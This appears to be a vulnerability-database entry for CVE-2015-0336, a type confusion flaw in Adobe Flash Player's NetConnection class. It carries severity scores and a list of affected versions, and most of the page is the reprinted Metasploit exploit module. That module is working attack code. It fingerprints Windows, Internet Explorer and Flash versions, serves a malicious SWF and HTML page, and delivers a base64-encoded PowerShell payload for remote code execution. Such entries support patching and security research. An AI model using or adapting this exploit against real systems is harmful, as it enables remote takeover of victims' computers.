Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE Other |
No informations. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 36962
Publication date : 2015-05-07 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player NetConnection Type Confusion',
'Description' => %q{
This module exploits a type confusion vulnerability in the NetConnection class on
Adobe Flash Player. When using a correct memory layout this vulnerability allows
to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like
vectors, and finally accomplish remote code execution. This module has been tested
successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit
'Unknown', # Exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-0336'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'],
['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'],
['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'],
['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'],
['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Mar 12 2015',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
@trigger = create_trigger
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
trigger_hex_stream = @trigger.unpack('H*')[0]
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
def create_trigger
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
Products Mentioned
Configuraton 0
Adobe>>Flash_player >> Version To (including) 13.0.0.264
Adobe>>Flash_player >> Version 14.0.0.125
Adobe>>Flash_player >> Version 14.0.0.145
Adobe>>Flash_player >> Version 14.0.0.176
Adobe>>Flash_player >> Version 14.0.0.179
Adobe>>Flash_player >> Version 15.0.0.152
Adobe>>Flash_player >> Version 15.0.0.167
Adobe>>Flash_player >> Version 15.0.0.189
Adobe>>Flash_player >> Version 15.0.0.223
Adobe>>Flash_player >> Version 15.0.0.239
Adobe>>Flash_player >> Version 15.0.0.246
Adobe>>Flash_player >> Version 16.0.0.235
Adobe>>Flash_player >> Version 16.0.0.257
Adobe>>Flash_player >> Version 16.0.0.287
Adobe>>Flash_player >> Version 16.0.0.296
Adobe>>Flash_player >> Version 16.0.0.305
Apple>>Mac_os_x >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Adobe>>Flash_player >> Version To (including) 11.2.202.442
Linux>>Linux_kernel >> Version -
References